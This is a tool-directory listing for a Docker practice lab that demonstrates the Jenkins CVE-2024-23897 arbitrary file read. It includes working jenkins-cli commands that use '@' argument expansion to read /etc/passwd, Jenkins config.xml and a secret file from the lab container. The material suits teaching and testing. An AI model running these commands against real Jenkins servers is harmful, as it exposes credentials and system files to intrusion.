Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Jenkins-CVE-2024-23897-Lab | Kitploit
Tools/GitHubGitHub/fineken/jenkins-cve-2024-23897-lab
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubfineken/jenkins-cve-2024-23897-lab

Jenkins-CVE-2024-23897-Lab

View Repository
21 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Jenkins CVE-2024-23897 Lab

Arbitrary file read vulnerability in Jenkins 2.441 and earlier.

Launch

root@kitploit:~
docker-compose up -d

Automated Attack

root@kitploit:~
docker exec -it attacker-host ./auto-exploit.sh

Manual Attack

root@kitploit:~
docker exec -it attacker-host bash
cd /tmp
curl -o jenkins-cli.jar http://vulnerable-jenkins:8080/jnlpJars/jenkins-cli.jar

# Первая строка файла
java -jar jenkins-cli.jar -s http://vulnerable-jenkins:8080/ -http help "@/etc/passwd"

# Полный файл
java -jar jenkins-cli.jar -s http://vulnerable-jenkins:8080/ -http connect-node "@/etc/passwd"

Targets

  • /etc/passwd
  • /opt/test-files/secret.txt
  • /var/jenkins_home/config.xml

Stop

root@kitploit:~
docker-compose down
Download Tool